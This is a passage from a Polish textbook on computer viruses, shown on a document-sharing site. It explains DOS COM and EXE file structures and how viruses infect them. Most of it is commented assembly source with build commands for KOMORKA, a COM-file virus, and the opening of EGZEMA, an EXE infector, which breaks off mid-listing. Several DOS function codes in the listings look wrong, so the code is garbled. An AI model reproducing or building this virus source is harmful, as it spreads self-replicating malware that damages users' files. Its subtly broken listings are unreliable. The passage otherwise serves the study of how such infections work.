Scrigroup - Documente si articole

     

HomeDocumenteUploadResurseAlte limbi doc
BulgaraCeha slovacaCroataEnglezaEstonaFinlandezaFranceza
GermanaItalianaLetonaLituanianaMaghiaraOlandezaPoloneza
SarbaSlovenaSpaniolaSuedezaTurcaUcraineana

AdministracjaBajkiBotanikaBudynekChemiaEdukacjaElektronikaFinanse
FizycznyGeografiaGospodarkaGramatykaHistoriaKomputerówKsiàýekKultura
LiteraturaMarketinguMatematykaMedycynaOdýywianiePolitykaPrawaPrzepisy kulinarne
PsychologiaRóýnychRozrywkaSportowychTechnikaZarzàdzanie

Obiekty atakowane przez wirusy

komputerów



+ Font mai mare | - Font mai mic



DOCUMENTE SIMILARE

Obiekty atakowane przez wirusy

4.1. Pliki

Jednà z najczæúciej wykorzystywanych dróg, jakà przenoszà siæ wirusy. sà pliki. Na samym poczàtku byùy to tylko pliki wykonywalne COM, a potem EXE. Z czasem jednak liczba róýnorodnych plików branych pod uwagæ przez twórców wirusów wzrosùa. Moýna powiedzieã, iý w krægu zainteresowañ ludzi piszàcych wirusy sà wszystkie pliki, które posiadajà w swym wnætrzu struktury zawierajàce instrukcje sterujàce oraz funkcje operujàce na plikach i/lub sektorach. Mogà to wiæc byã pliki wykonywalne (COM, EXE), wsadowe (BAT), pliki zawierajàce sterowniki (SYS, BIN, DRV), pliki z moduùami wykonywalnymi (OBJ, LIB, DLL, OV?, BGI, TPU, 386, VXD i inne), a takýe pliki programów, udostæpniajàce uýytkownikom definiowanie makr (DOC, XLS, SAM). Spotykane sà takýe wirusy nietypowe, np. atakujàce programy napisane w asembùerze (ASM). Rodzaj pliku rozstrzygany jest najczæúciej na podstawie jego wewnætrznej budowy, tak wiæc w wiækszoúci przypadków zmiana rozszerzenia pliku nie pozwala na uchronienie go przed infekcjà. Wewnætrzna struktura najczæúciej zaraýanych plików oraz sposoby ich infekcji omówione zostaùy poniýej. W rozdziale opisujàcym infekcjæ plików COM zawarto dodatkowo informacje na temat struktur tworzonych przez DOS podczas uruchamiania programów (blok wstæpny programu, otoczenie programu).



4.1.1. Pliki wykonywalne COM

Ze wzglædu na swà prostà budowæ programy typu COM od poczàtku stanowiùy smakowity kàsek dla twórców wirusów. Zawierajà one kod programu w tzw. postaci absolutnej, dlatego teý ich ùadowanie do pamiæci polega na wczytaniu zawartoúci pliku pod adres znajdujàcy siæ bezpoúrednio po tworzonym dla kaýdego procesu bloku wstæpnym PSP i wykonaniu dalekiego skoku na poczàtek programu,

a wiæc ich obraz w pamiæci jest wiernà kopià zawartoúci pliku. Wyglàd programu COM po zaùadowaniu do pamiæci przedstawia poniýsza tabela.

Wyglàd programu COM po zaùadowaniu do pamiæci:

Adres (wzglædem segmentu), do którego zostaù zaùadowany plik COM

Zawartoúã pamiæci

CS:0000-CS:0100

Blok wstæpny PSP (patrz nastæpna tabela)

CS:0000-CS:????

Kod programu zaùadowany z pliku

Format bloku wstæpnego programu PSP

Adres w pamiæci

Zawartoúã

Kod rozkazu int 21 h (CD 21)

Adres segmentu pamiæci niedostæpnej dla programu

Nie uýywane przez DOS, uýywane wewnætrznie przez OS/2

Dalekie odwoùanie do systemu DOS (rozkaz wywoùania dalekiej procedury)

Rozmiar dostæpnej pamiæci w segmencie

0A-0D

Zapamiætywany adres zakoñczenia programu (int 22h)

0E-11

Adres programu obsùugi CTRL-BREAK (int 23h)

Adres programu obsùugi bùædów krytycznych (int 24h)

Adres do segmentu pamiæci, gdzie znajduje siæ blok PSP

programu rodzicielskiego (interpretator poleceñ modyfikuje to pole i wstawia tam adres swojego PSP)

18-2B

Tablica plików obsùugiwanych przez proces JFT (ang. Job File Table); kaýdy element tablicy zawiera indeks wskazujàcy na element SFT (ang. System File Table) opisujàcy wszystkie otwarte w systemie pliki lub teý wartoúã FF, jeýeli element nie jest uýywany

2C-2D

Adres segmentu pamiæci, w którym znajduje siæ otoczenie programu, zawierajàce definicje zmiennych úrodowiskowych systemu DOS, takich jak PATH, PROMPT Ud. Kaýdy element otoczenia oddzielany jest znakiem NUL (kod 00); funkcja 4B rozszerza otoczenie programu poprzez dodanie jednego sùowa okreúlajàcego iloúã dodatkowych ùañcuchów ASCIIZ (zwykle 0001), a nastæpnie umieszcza dalej nazwæ uruchamianego programu. Umoýliwia to procesowi dotarcie do pliku na dysku zawierajàcego kod uruchomionego programu - jest to parametr paramstr(0) w Pascalu i argv[0] w C.

2E-31

Zapamiætane wartoúci SS:SP (uýywane podczas wywoùywania funkcji DOS) aktualnego procesu; DOS zapamiætuje je przed przeùàczeniem siæ na wùasny stos

Liczba elementów tablicy JFT (standardowo =20)

Daleki wskaênik do tablicy plików JFT (standardowo CS:18) umoýliwia rozszerzenie iloúci plików wykorzystywanych przez proces

38-3B

Daleki wskaênik do poprzedniego bloku wstæpnego PSP

3C-4F

Pola wykorzystywane wewnætrznie przez róýne systemy operacyjne

Kod rozkazów: INT 21 h RETF

Nie uýywane

55-5B

Nie uýywane, moýna uýyã, aby zmieniã standardowy blok FCB na rozszerzony blok FCB

5C-6B

Standardowy blok opisu pliku FCB1

6C-7B

Standardowy blok opisu pliku FCB2

7C-7F

Nie uýywane

80-FF

Bufor transmisji dyskowych DTA. Bezpoúrednio po

uruchomieniu programu zawiera jego wiersz wejúciowy, zawierajàcy parametry podane z linii poleceñ, zakoñczony znakiem CR (0D). Bajt pod adresem 80 okreúla dùugoúã wiersza wejúciowego nie uwzglædniajàc znaku CR.

Przekazujàc sterowanie do programu COM system DOS inicjuje kilka rejestrów ustalonymi wartoúciami. Rejestry segmentowe CS, DS, SS, ES wskazujà na adres bloku PSP programu, IP=100h, SP wskazuje na koniec pamiæci dostæpnej w segmencie (zwykle FFFE), na stosie umieszczana jest wartoúã 0000.

Sposób infekcji plików COM jest bardzo prosty. Na koñcu zaraýanego pliku naleýy dopisaã kod wirusa, a na poczàtku pliku, po uprzednim zapamiætaniu oryginalnych bajtów, umieúciã rozkaz przenoszàcy sterowanie do wirusa (najczæúciej jest to 3-bajtowy rozkaz JMP NEAR, posiadajàcy kod maszynowy OE9h 00 00, gdzie 00 00 jest wartoúcià dodawanà do wskaênika instrukcji IP po wykonaniu rozkazu). Po uruchomieniu sterowanie zostaje przekazane najpierw do wirusa, a ten z kolei, po wykonaniu odpowiednich czynnoúci, przywraca poczàtkowe bajty programu i wykonuje skok pod adres CS:0100h.

Nie jest to jedyna metoda zaraýania plików COM. Niektóre wirusy przesuwajà w pliku kod oryginalnego programu, a w tak powstaùe miejsce wpisujà swój kod. Ze wzglædu na wiækszà iloúã operacji, jakie muszà wykonaã, aby zainfekowaã plik, sà doúã ùatwo wykrywane, gdyý znaczàco opóêniajà wykonanie oryginalnych programów.

Jeszcze inna metoda polega na umieszczeniu kodu wirusa w dowolnym miejscu infekowanego pliku, jednak ze wzglædu na trudnoúci implementacyjne jest ona rzadko stosowana.

Infekujàc pliki COM naleýy pamiætaã, iý programy tego typu mogà mieã dùugoúã nie wiækszà niý 64kB-100h-2 bajty. Odejmowana wartoúã 100h jest dùugoúcià bloku PSP, tworzonego na poczàtku segmentu, do którego ùadowany jest program., a wartoúã 2 wynika z faktu umieszczenia przed startem programu wartoúci 0000h na stosie. Po wczytaniu programu przez DOS wskaênik stosu (SP) programu ustawiany jest na koñcu segmentu, do którego zostaù on zaùadowany, stàd teý za maksymalnà dùugoúã, której nie moýe przekroczyã plik, naleýy przyjàã wartoúã mniejszà od 65278, np. 65000 bajtów lub nawet mniej. Nieuwzglædnienie powyýszego faktu spowoduje, iý po zaùadowaniu zbyt dùugiego pliku COM niszczona bædzie czæúã programu znajdujàca siæ przy koñcu segmentu (przez wartoúci zapisywane na stosie).

W tablicach poniýej przedstawiono wyglàd programu COM przed i po zaraýeniu wirusem.

Struktura niezainfekowanego pliku COM

Zawartoúã pliku

Kod programu w tzw. postaci absolutnej

Struktura zainfekowanego pliku COM - wirus dopisuje siæ na koñcu pliku

Zawartoúã pliku

Rozkaz skoku do wirusa (najczæúciej jest to rozkaz o kodzie OE9h 00 00, czyli JMP NEAR)

Kod zainfekowanego programu

Kod wirusa wraz z zapamiætanymi bajtami poczàtkowymi

Struktura zainfekowanego pliku COM -wirus przesuwa kod oryginalnego programu

Zawartoúã pliku

Kod wirusa

Przesuniæty kod zainfekowanego programu

Poniýej przedstawiono przykùad prostego, nierezydentncgo wirusa infekujàcego pliki COM.

;

Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;

;

KOMORKA v1.0, Autor : Adam Blaszczyk 1997 ;

;

Prosty wirus nierezydentny plikow COM ;

Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;

znajdujace sie w biezacym katalogu ;

;

; Kompilacja :  ;

TASM KOMORKA.ASM ;

TLINK /t KOMORKA.OBJ ;

;

KOMORKA SEGMENT

JUMPS

ASSUME CS:KOMORKA, DS:KOMORKA

ORG 100h

NUL = 00h ;

LF = 0Ah ; stale znakow

CR = 0Dh ; / ASCII

DOLAR = '$' ; /

AtrReadOnly = 00000001b ;

AtrHidden = 00000010b ;

AtrSystem = 00000100b ; rozne stale atrybutow

AtrVolumeID = 00001000b ; / pozycji katalogu

AtrDirectory = 00010000b ; /

AtrArchive = 00100000b ; /

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID

; atrybut poszukiwanej pozycji

; katalogu

VirusDlug = offset (VirusEnd-VirusStart)

; dlugosc kodu wirusa

VRok = 1998 ; data opisujaca

VMiesiac = 13 ; - pliki juz zainfekowane

VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DTAStruc struc ; struktura DTA bufora transmisji

; dyskowych uzywanych przez

; funkcje 4E i 4F

DTAFill db 21 dup (?) ; nieistotna czesc

DTAAttr db ? ; atrybut znalezionej pozycji

DTATime dw ? ; czas znalezionej pozycji

DTADate dw ? ; data znalezionej pozycji

DTASize dd ? ; dlugosc znalezionej pozycji

DTAName db 13 dup (?) ; nazwa znalezionej pozycji

DTAStruc ends

Start: ; tu zaczyna sie program ofiary

db 0E9h,00h,00h ; symuluj rozkaz JMP NEAR

; bedacy czescia zarazonego

; programu

VirusStart: ; tu zaczyna sie kod wirusa

mov si,word ptr ds:[101h] ; pobierz relatywny ofset do miejsca

; w pamieci, gdzie znajduje sie wirus

; wartosc ta to czesc rozkazu JMP NEAR

; na poczatku, przy pierwszym wywolaniu

; =0000h

mov al,byte ptr ds:[si+StareBajty] ; Przywroc zapamietane 3 bajty

mov ds:[100h],al ; na poczatek programu CS:100h

mov ax,word ptr ds:[si+StareBajty+1] ; / Podczas pierwszego uruchomienia

mov ds:[101h],ax ; / jest to kod Int 20h

lea dx,[si][TeInformacja] ; podaj gdzie jest tekst

Call Informacja ; spytaj o uruchomienie wirusa

jnc Infekcja ; CF=1 oznacza nie uruchamiaj

jmp BezInfekcji ; NIE - nie infekuj

Infekcja:

lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA

mov ah,1Ah ; funkcja DOS - ustaw nowe DTA

int 21h ; wywolaj funkcje DOS

lea dx,[si][MaskaCOM] ; maska poszukiwanych plikow '*.COM'

mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii

mov ah,4Bh ; funkcja DOS - szukaj pierwszej

; pozycji katalogu

int 21h ; wywolaj funkcje DOS

jc NieMaPlikuCOM ; gdy CF=1, to blad

KolejnyPlik:

cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz

; zarazony ?

je SzukajNastepnyPlik ; tak = szukaj nastepnego

mov ax,word ptr [si][NoweDTA.DTASize+2]

; pobierz starsza czesc dlugosci

; pliku

or ax,ax ; czy plik krotszy niz 65536

jnz SzukajNastepnyPlik ; nie - szukaj nastepnego

mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku

cmp ax,64000 ; czy dlugosc <= 64000

ja SzukajNastepnyPlik ; nie - szukaj nastepnego

cmp ax,3 ; czy dlugosc >= 3

jb SzukajNastepnyPlik ; nie - szukaj nastepnego

sub ax,3 ; odejmij dlugosc skoku E9 ?? ??

mov word ptr [si][Skok+1],ax ; zapisz do bufora rozkaz skoku

mov cx,AtrArchive ; podaj nowy atrybut : Archive

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h ; wywolaj funkcje DOS

jc PrzywrocAtrybut ; gdy CF=1 to blad

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu

mov ax,3D02h ; funkcja DOS - otworz plik

; do odczytu i zapisu

int 21h ; wywolaj funkcje DOS

jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt pliku do BX

mov cx,3 ; ilosc czytanych bajtow

lea dx,[si+StareBajty] ; podaj dokad czytac 3 bajty

mov ah,3Fh ; funkcja DOS - czytaj z pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

mov ax,word ptr [si+StareBajty] ; wez dwa pierwsze bajty pliku

cmp ax,'MZ' ; i sprawdz czy to nie EXE

je ZamknijPlik ; gdy 'MZ', to plik EXE, powrot

cmp ax,'ZM' ;

je ZamknijPlik ; gdy 'ZM', to plik EXE, powrot

xor cx,cx ; zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem konca pliku

mov ax,4202h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na koniec pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

mov cx,VirusDlug ; ilosc zapisanych bajtow

lea dx,[si+103h] ; podaj skad zapisac wirusa

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

xor cx,cx ; zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem poczatku pliku

mov ax,4200h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na poczatek pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

mov cx,3 ; ilosc zapisanych bajtow

lea dx,[si][Skok] ; podaj skad zapisac rozkaz skoku

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA

mov dx,VZnacznik ; zaznacz infekcje pliku

mov ax,5701h ; funkcja DOS - wpisz date,czas

int 21h ; wywolaj funkcje DOS

ZamknijPlik:

mov ah,3Eh ; funkcja DOS - zamknij plik

int 21h ; wywolaj funkcje DOS

PrzywrocAtrybut:

mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h

SzukajNastepnyPlik: ; poprzedni plik byl zarazony

mov ah,4Fh ; funkcja DOS - szukaj innego

; plik COM

int 21h ; wywolaj funkcje DOS

jnc KolejnyPlik ; gdy CF=1, to blad

NieMaPlikuCOM:

mov dx,80h ; przywroc pierwotne DTA=PSP:80h

mov ah,1Ah ; funkcja DOS - ustaw nowe DTA

int 21h ; wywolaj funkcje DOS

BezInfekcji:

mov ax,100h ; skocz na poczatek programu

jmp ax ; / do ofiary

MaskaCOM db '*.COM' ; maska plikow COM (ASCIIZ)

StareBajty db 0CDh,20h,90h ; bufor zawiera zapamietane bajty

; z poczatku programu

; tu : kod rozkazu int 20h/NOP

Skok db 0E9h,?,? ; rozkaz skoku

; Czesc Informayjna

Informacja:

mov ah,09h ; funkcja DOS - wyswietl tekst$

int 21h ; wywolaj funkcje DOS

mov ah,01h ; funkcja DOS - czytaj znak

; ze standardowego wejscia

int 21h ; wywolaj funkcje DOS

; AL zawiera znak

push ax ; zapamietaj na chwile znak

mov ax,0E0Dh ; przejdz

int 10h ; do

mov ax,0E0Ah ; / nastepnej

int 10h ; / linii

pop ax ; przywroc znak

and al,11011111b ; konwertuj znak na wielka litere

cmp al,'T' ; czy potwierdzona infekcja

clc ; ustaw flage na TAK

je CLCRet ; TAK i powrot

stc ; ustaw flage na NIE i powrot

CLCRet:

ret ; powrot

TeInformacja db CR,LF,'KOMORKA v1.0, Autor : Adam Blaszczyk 1997'

db CR,LF

db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'

db DOLAR

VirusEnd:

NoweDTA DTAStruc <?,?,?,?,?,?>

KOMORKA ENDS

END Start

4.1.2. Pliki wykonywalne EXE

Poprzednio omówione pliki COM przewaýaùy w poczàtkowym okresie istnienia systemu DOS, lecz szybko zostaùy wyparte przez pliki EXE, które oferowaùy moýliwoúã pisania programów mieszczàcych siæ w kilku segmentach.

Zaraýanie plików EXE jest sprawà o wiele trudniejszà od infekcji plików COM ze wzglædu na ich bardziej skomplikowanà budowæ, a takýe na koniecznoúã wykrywania systemu, dla którego plik jest przeznaczony. Pliki EXE dzielà siæ bowiem na tzw. stare (ang. old executab-les) i nowe (ang. new executables). Pierwsze z nich przeznaczone sà tylko i wyùàcznie dla systemu DOS, natomiast drugie to programy dziaùajàce w úrodowiskach wykorzystujàcych tryb chroniony. Jak pokazano dalej, na podstawie danych zawartych w pliku EXE moýna wykryã system, dla którego jest on przeznaczony i w rezultacie plik taki zainfekowaã.

4.1.2.1. Pliki EXE dla systemu DOS (stare EXE)

Jak juý wspomniano, pliki COM mogùy zawieraã w swym wnætrzu tylko jeden segment, wspólny dla kodu, danych i stosu. W przeciwieñstwie do nich pliki EXE mogà zawieraã programy, których rozmiary ograniczone sà tylko przez wielkoúã dostæpnej aktualnie pamiæci operacyjnej, znajdujàcej siæ poniýej pierwszych 640kB. Najczæúciej w programach tych jest kilka segmentów kodu i danych, a takýe

osobny segment stosu. Ze wzglædu na bardziej skomplikowanà strukturæ, do zaùadowania programów EXE system DOS potrzebuje wiæcei informacji, niý w przypadku plików COM. Informacje zawarte sà w istniejàcym na poczàtku kaýdego pliku EXE nagùówku, który skùada sie z dwóch czæúci: sformatowanej i niesformatowanej. Dùugoúã sformatowanej czæúci nagùówka jest staùa i wynosi 27 bajtów, natomiast dùugoúã czæúci niesformatowanej oblicza siæ na podstawie danych zawartych w nagùówku sformatowanym. W skrajnym przypadku dùugoúã czæúci niesrormatowanej moýe byã równa O, co czæsto ma miejsce, gdy programy sà wewnætrznie skompresowane i zminimalizowane. Opis sformatowanej czæúci nagùówka podano poniýej.

Sformatowany nagùówek pliku EXE

Znacznik pliku EXE. MZ lub ZM

Liczba bajtów na ostatniej, 512

bajtowej, stronie programu, W praktyce oznacza, ile bajtów system DOS musi skopiowaã z ostatniego sektora zajmowanego przez program.

Dùugoúã caùego pliku EXE, podana w 512-bajtowych stronach z uwzglædnieniem nagùówka i ostatniej strony opisanej w polach 02h-03h. W praktyce oznacza iloúã sektorów zajmowanych przez program,

Liczba elementów relokowalnych w programie, czyli liczba 4-bajtowych rekordów, znajdujàcych siew niesformatowanej czæúci nagùówka, opisujàcych miejsca w kodzie programu (jako segment: przesuniæcie; w kaýdym rekordzie przesuniæcie znajduje siæ przed segmentem), gdzie naleýy dodaã segment, pod który ùadowany jest program

Dùugoúã nagùówka w 16-bajtowych paragrafach

0A-0B

Minimalna wymagana pamiæã poza zaùadowanym kodem programu, podana w 16-bajtowych paragrafach

0C-0D

Maksymalna wymagana pamiæã poza zaùadowanym kodem programu, podana w 16-bajtowych paragrafach

0E-0F

Poczàtkowa wartoúã rejestru segmentowego stosu (SS) wzglædem poczàtku programu.

Poczàtkowa wartoúã wskaênika stosu (SP)

Suma kontrolna (zanegowana suma wszystkich bajtów w pliku), nie uýywana przez DOS, stàd pole to moýe posùuýyã jako wskaênik zainfekowania pliku

Poczàtkowa wartoúã licznika rozkazów IP

Poczàtkowa wartoúã rejestru segmentu kodu CS wzglædem poczàtku programu.

Adres pierwszej pozycji tablicy relokacji w stosunku do poczàtku pliku. Jeýeli pole jest równe 40h lub wiæcej, jest to prawdopodobnie nowy plik EXE

1A-1B

Numer nakùadki

Informacje zawarte w nagùówku pliku EXE zawierajà wymagania programu dotyczàce pamiæci operacyjnej oraz ustalajà poczàtkowe wartoúci rejestrów SS i SP, odpowiedzialnych za stos, a takýe rejestrów CS i IP, wskazujàcych na pierwszà instrukcjæ programu.

Dopiero po nagùówkach pojawia siæ wùaúciwy kod programu, a za nim, na koñcu niektórych plików EXE przeznaczonych dla systemu DOS, znajduje siæ czæsto tzw. wewnætrzna nakùadka (ang. internal overlay), zawierajàca dodatkowe dane lub kod programu. Wykorzystujàc fakt, iý znakomita wiækszoúã istniejàcych wirusów nie zaraýa plików EXE z wewnætrznymi nakùadkami, moýna doúã prosto zabezpieczyã wszystkie pliki EXE na dysku przed ewentualnà infekcjà. Wystarczy na koñcu kaýdego z tych plików dopisaã jeden dowolny bajt, który przez wiækszoúã wirusów bædzie uznawany za wewnætrznà nakùadkæ.

Dopiero po odczytaniu i zinterpretowaniu danych z nagùówka system moýe przystàpiã do ùadowania wùaúciwego programu, zawartego w pliku EXE, który umieszczany jest bezpoúrednio za blokiem PSP. Z powyýszego wynika, iý w przeciwieñstwie do programu COM obraz programu EXE wyglàda inaczej w pamiæci niý na dysku

Po wczytaniu programu do wartoúci poczàtkowych rejestrów CS i SS (zawartych w nagùówku sformatowanym) dodawany jest adres segmentu, pod który zostaù on zaùadowany. Adres tego segmentu sùuýy takýe do zmodyfikowania pewnych instrukcji w programie, które sà zaleýne od jego faktycznego umiejscowienia w pamiæci operacyjnej (sà to np. rozkazy wywoùañ dalekich procedur i skoków oraz operacje na segmentach wystæpujàcych w programie). Adresy w pamiæci, które trzeba w ten sposób zmodyfikowaã, zawarte sà w tablicy relokacji.

Pierwszà czynnoúcià wykonywanà przez wirusa powinno byã odczytanie sformatowanego nagùówka pliku potencjalnej ofiary i porównanie dwóch pierwszych bajtów programu (znacznik z pola 00h-0lh) z sekwencjà 'MZ' lub 'ZM'. Jeýeli porównanie wypadùo pomyúlnie, istnieje duýa szansa, iý jest to plik typu EXE i moýna go spróbowaã zainfekowaã. Drugà czynnoúcià wykonywanà przez wirusa powinno byã sprawdzenie, czy plik EXE jest programem przeznaczonym dla systemu DOS. Na pozycji 18h-19h w nagùówku widnieje wtedy wartoúã mniejsza od 40h, w przeciwnym wypadku jest to prawdopodobnie nowy EXE. Kolejnym krokiem wykonywanym przez wirusa powinno byã sprawdzenie, czy plik EXE nie zawiera wewnætrznej nakùadki. Dokonuje siæ tego poprzez porównanie dùugoúci caùego pliku EXE (widzianej przez DOS) z dùugoúcià obliczanà na podstawie pól zawartych w nagùówku (pola 02h-03h i U4h-05h). Jeýeli wartoúci te róýnià siæ od siebie, plik zawiera nakùadkæ. Taki plik takýe moýna zainfekowaã, jednak wiàýe siæ to z koniecznoúcià przesuniæcia w nim caùej nakùadki o dùugoúã wirusa, tak aby ten mógù umieúciã swój kod bezpoúrednio za obrazem ùadowanym przez DOS do pamiæci. Podczas uruchamiania programu EXE nakùadka nie jest ùadowana do pamiæci bezpoúrednio z programem, tak wiæc gdyby wirus znajdowaù siæ w pliku bezpoúrednio za nià, takýe nie zostaùby zaùadowany i w efekcie program by siæ zawieszaù. Zaraýone programy z wewnætrznà nakùadkà czæsto nie bædà dziaùaùy poprawnie, zwùaszcza jeúli korzystajàc z nakùadki nie obliczajà adresów w pliku na bieýàco (tzn. na podstawie pól nagùówka), lecz korzystajà z wartoúci staùych. Powyýsze problemy sprawiajà, iý wiækszoúã wirusów zaprzestaje infekcji po wykryciu, iý plik EXE zawiera nakùadkæ i dziæki temu moýna zastosowaã opisanà wczeúniej sztuczkæ z 1-bajtowà pseudonakùadkà. Infekcja pliku EXE bez wewnætrznej nakùadki polega na odpowiedniej modyfikacji sformatowanej czæúci nagùówka, tak by poczàtkowe wartoúci rejestrów CS:IP (zawartych w polach 16h-17h i 14h-15h w nagùówku) wskazywaùy na wirusa, który zwykle dopisywany jest na koñcu pliku. Najczæúciej zmieniane sà takýe poczàtkowe wartoúci SS i SP (pola 10-llh i 0Eh-0Fh w nagùówku), aýeby nie okazaùo siæ, iý po uruchomieniu stos ustawiony jest na kod wirusa. Warto takýe zmodyfikowaã parametry minimalnej i maksymalnej pamiæci wymaganej przez program, tak aby uwzglædniaùy dùugoúã kodu wirusa. Prawdziwe wartoúci zmienianych parametrów trzeba wczeúniej zapamiætaã, ýeby wirus po uruchomieniu mógù przekazaã sterowanie do oryginalnego programu.

Inny sposób na przejæcie kontroli nad zainfekowanym programem po jego uruchomieniu polega na odnalezieniu w pliku zawierajàcym jego kod (np. przy pomocy ùatwo dostæpnej tablicy relokacji) wywoùañ dalekich procedur (najczæúciej bædàcych funkcjami bibliotecznymi) o 5 bajtowym kodzie 9A OO OO SS SS, gdzie SSSS:OOOO oznacza adres, pod którym znajduje siæ wywoùywana procedura (SS SS oznacza segment, a OO OO - przesuniæcie). Inicjujàc program, DOS dodaje do ustalonej, zawartej w pliku wartoúci SS SS adres, pod który zostaù zaùadowany program. Zmieniajàc w pliku wartoúã SS SS:OO OO tak, by wskazywaù on na wirusa, moýna ominàã koniecznoúã modyfikacji pól 16h-17h i 14h-15h w nagùówku i przy okazji utrudniã odnalezienie wirusa w pliku. Tego typu wirus uruchomi siæ dopiero po próbie wywoùania dalekiej procedury, co moýe zdarzyã siæ w dowolnym momencie programu (a nie od razu na poczàtku).

Typowy wyglàd starego pliku EXE przed i po infekcji przedstawiony zostaù w poniýszych tabelach.

Struktura niezainfekowanego pliku EXE

Zawartoúã pliku 

Sformatowany nagùówek pliku EXE zaczynajàcy siæ literami 'MZ' lub 'ZM'

Niesformatowany nagùówek pliku EXE zawierajàcy tablicæ relokacji i ewentualnie jakieú dane, np. nazwisko autora, nazwæ programu

Wùaúciwy kod programu

Ewentualna nakùadka

Struktura zainfekowanego pliku EXE

Zawartoúã pliku

Sformatowany nagùówek pliku EXE zaczynajàcy siæ literami ‘MZ’ lub ‘ZM' z wprowadzonymi przez wirusa zmianami

Niesformatowany nagùówek pliku EXE zawierajàcy tablicæ relokacji i ewentualnie jakieú dane, np. nazwisko autora, nazwæ programu

Wùaúciwy kod programu

Kod wirusa

Ewentualna nakùadka; wystæpuje bardzo rzadko, gdyý wiækszoúã wirusów nie zaraýa plików z wewnætrznymi nakùadkami

Ponizej przedstawiono przyklad prostego nierezydetnego wirusa infekujacego pliki EXE.

;

Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;

;

EGZEMA v1.0, Autor : Adam Blaszczyk 1997 ;

;

Prosty wirus nierezydentny plikow EXE ;

Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;

znajdujace sie w biezacym katalogu ;

;

; Kompilacja :  ;

TASM EGZEMA.ASM ;

TLINK EGZEMA.OBJ ;

;

EGZEMA SEGMENT

JUMPS

ASSUME CS:EGZEMA, DS:EGZEMA

NUL = 00h ;

LF = 0Ah ; stale znakow

CR = 0Dh ; / ASCII

DOLAR = '$' ; /

AtrReadOnly = 00000001b ;

AtrHidden = 00000010b ;

AtrSystem = 00000100b ; rozne stale atrybutow

AtrVolumeID = 00001000b ; / pozycji katalogu

AtrDirectory = 00010000b ; /

AtrArchive = 00100000b ; /

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrDirectory

; atrybut poszukiwanej pozycji

; katalogu

VirusDlug = offset (VirusEnd-VirusStart)

; dlugosc kodu wirusa

VRok = 1998 ; data opisujaca

VMiesiac = 13 ; - pliki juz zainfekowane

VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DTAStruc struc ; struktura DTA bufora transmisji

; dyskowych uzywanych przez

; funkcje 4E i 4F

DTAFill db 21 dup (?) ; nieistotna czesc

DTAAttr db ? ; atrybut znalezionej pozycji

DTATime dw ? ; czas znalezionej pozycji

DTADate dw ? ; data znalezionej pozycji

DTASize dd ? ; dlugosc znalezionej pozycji

DTAName db 13 dup (?) ; nazwa znalezionej pozycji

DTAStruc ends

VirusStart: ; tu zaczyna sie kod wirusa

Call Trik ;

Trik:  ;

pop si ; / oblicz relatywny ofset

sub si,3 ; /

push cs ; DS=CS=kod wirusa

pop ds ; /

mov ax,es ; es=PSP+10h

add ax,10h ; /

add [si][StarySS],ax ;

push [si][StarySS] ; - zachowaj wartosci stosu

push [si][StarySP] ; / dla nosiciela

add ax,[si][StaryCS] ;

mov [si][SkokCS],ax ; utworz pelny rozkaz skoku

mov ax,[si][StaryIP] ; / do nosiciela

mov [si][SkokIP],ax ; /

lea dx,[si][TeInformacja] ; podaj gdzie jest tekst

Call Informacja ; spytaj o uruchomienie wirusa

jnc Infekcja ; CF=1 oznacza nie uruchamiaj

jmp BezInfekcji ; NIE - nie infekuj

Infekcja:

lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA

mov ah,1Ah ; funkcja DOS - ustaw nowe DTA

int 21h ; wywolaj funkcje DOS

lea dx,[si][MaskaEXE] ; maska poszukiwanych plikow '*.EXE'

mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii

mov ah,4Eh ; funkcja DOS - szukaj pierwszej

; pozycji katalogu

int 21h ; wywolaj funkcje DOS

jc BezInfekcji ; gdy CF=1, to blad

KolejnyPlik:

cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz

; zarazony ?

je SzukajNastepnyPlik ; tak = szukaj nastepny

cmp word ptr [si][NoweDTA.DTASize],26; czy dlugosc>=26 bajtow ?

jb SzukajNastepnyPlik ; nie = szukaj nastepny

mov cx,AtrArchive ; podaj nowy atrybut : Archive

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h ; wywolaj funkcje DOS

